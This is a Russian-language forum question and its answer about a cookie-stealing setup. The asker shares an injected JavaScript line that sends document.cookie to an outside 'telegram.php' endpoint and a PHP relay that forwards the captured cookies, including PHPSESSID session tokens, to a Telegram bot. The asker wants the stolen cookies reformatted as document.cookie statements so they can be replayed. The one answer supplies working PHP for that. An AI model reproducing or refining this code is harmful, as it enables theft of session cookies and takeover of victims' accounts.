@Ivanx222

Как привести в порядок лог?

У меня есть скрипт который отправляет куки в telegram мне нужно что бы эти куки привили в порядок
Скрипт который отправляет куки
https://site.com/telegram.php?cookie='+ document.cookie;

Скрипт который обрабатывает запрос и отправляет данные в Telegram
<?php

$cookie = $_GET['cookie'];

$token = "token";

$chat_id = "id";

$arr = array(
  'Куки: ' => $cookie
);

foreach($arr as $key => $value) {
  $txt .= "<b>".$key."</b> ".$value."%0A";
};

$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}","r");

if ($sendToTelegram) {
  echo "Thank you";
} else {
  echo "Error";
}
?>

мне приходит куки в такой вид
Куки:  uidc=75e1f5bfdd8b75; lastSyncDate=1579399023216; mail_info_10954390=[]; PHPSESSID=c6fc23119159f522063cb8a8cf8a1cb5.1579448713.25747727

а мне нужно что бы приходил в такой вид
document.cookie = "uidc=75e1f5bfdd8b75";
document.cookie = "PHPSESSID=504ae78a5f72bd6ede06374634d3b452.1579388238.56697023";
document.cookie = "lastSyncDate=1579399023216";
document.cookie = "mail_info_10954390=%5B%5D";

так же мой javascript ломает это код %5B%5D из куки mail_info_10954390 ( эти цифры меняются )
  • Вопрос задан
  • 106 просмотров
Пригласить эксперта
Ответы на вопрос 1
@AUser0
Чем больше знаю, тем лучше понимаю, как мало знаю.
Код:
foreach($arr as $key => $value) {
  $txt .= "<b>".$key."</b> ".$value."%0A";
};

замените на:
foreach(explode(" ", $cookie) as $value) {
  $txt .= "document.cookie = \"{$value}\";\n";
}
$txt = urlencode($txt);
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы